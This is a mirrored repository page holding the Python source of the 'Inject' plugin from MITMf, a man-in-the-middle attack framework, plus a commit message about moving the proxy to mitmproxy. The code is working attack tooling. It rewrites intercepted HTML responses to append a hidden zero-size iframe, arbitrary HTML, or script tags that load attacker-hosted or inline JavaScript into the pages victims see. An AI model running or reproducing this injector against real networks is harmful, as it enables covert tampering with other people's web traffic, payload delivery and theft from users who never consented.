mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-03-12 04:35:49 -07:00
eea5f53be2
Added a plugin system to Net-Creds so you can now add your own parsers, api hook names might change between now and the offcial release (will submit a PR to the original repo once completed) The main MITM HTTP Proxy now uses mitmproxy which is a big deal, cuts the code down by an insane amount, no more twisted! yay! Basic plugin have been re-wrote for the new proxy engine Since we are using mitmproxy we have out of the box support for SSL/TLS!
65 lines
3.2 KiB
Python
65 lines
3.2 KiB
Python
import argparse
|
|
from bs4 import BeautifulSoup
|
|
from plugins.plugin import Plugin
|
|
from netlib.http import decoded
|
|
|
|
class Inject(Plugin):
|
|
name = 'Inject'
|
|
optname = 'inject'
|
|
desc = 'Inject arbitrary content into HTML content'
|
|
version = '1.0'
|
|
|
|
def response(self, context, flow):
|
|
if context.html_url and (flow.request.host in context.html_url):
|
|
return
|
|
|
|
if context.js_url and (flow.request.host in context.js_url):
|
|
return
|
|
|
|
if 'text/html' in flow.response.headers.get('content-type', ''):
|
|
with decoded(flow.response):
|
|
html = BeautifulSoup(flow.response.content.decode('utf-8', 'ignore'), 'lxml')
|
|
if html.body:
|
|
|
|
if context.html_url:
|
|
iframe = html.new_tag('iframe', src=context.html_url, frameborder=0, height=0, width=0)
|
|
html.body.append(iframe)
|
|
context.log('[Inject] Injected HTML Iframe: {}'.format(flow.request.host))
|
|
|
|
if context.html_payload:
|
|
payload = BeautifulSoup(context.html_payload, "html.parser")
|
|
html.body.append(payload)
|
|
context.log('[Inject] Injected HTML payload: {}'.format(flow.request.host))
|
|
|
|
if context.html_file:
|
|
payload = BeautifulSoup(context.html_file.read(), "html.parser")
|
|
html.body.append(payload)
|
|
context.log('[Inject] Injected HTML file: {}'.format(flow.request.host))
|
|
|
|
if context.js_url:
|
|
script = html.new_tag('script', type='text/javascript', src=context.js_url)
|
|
html.body.append(script)
|
|
context.log('[Inject] Injected JS script: {}'.format(flow.request.host))
|
|
|
|
if context.js_payload:
|
|
tag = html.new_tag('script', type='text/javascript')
|
|
tag.append(context.js_payload)
|
|
html.body.append(tag)
|
|
context.log('[Inject] Injected JS payload: {}'.format(flow.request.host))
|
|
|
|
if context.js_file:
|
|
tag = html.new_tag('script', type='text/javascript')
|
|
tag.append(context.js_file.read())
|
|
html.body.append(tag)
|
|
context.log('[Inject] Injected JS file: {}'.format(flow.request.host))
|
|
|
|
flow.response.content = str(html)
|
|
|
|
def options(self, options):
|
|
options.add_argument('--html-url', dest='html_url', type=str, help='URL of the HTML to inject')
|
|
options.add_argument('--html-payload', dest='html_payload', type=str, help='HTML string to inject')
|
|
options.add_argument('--html-file', dest='html_file', type=argparse.FileType('r'), help='File containing HTML to inject')
|
|
options.add_argument('--js-url', dest='js_url', type=str, help='URL of the JS to inject')
|
|
options.add_argument('--js-payload', dest='js_payload', type=str, help='JS string to inject')
|
|
options.add_argument('--js-file', dest='js_file', type=argparse.FileType('r'), help='File containing JS to inject')
|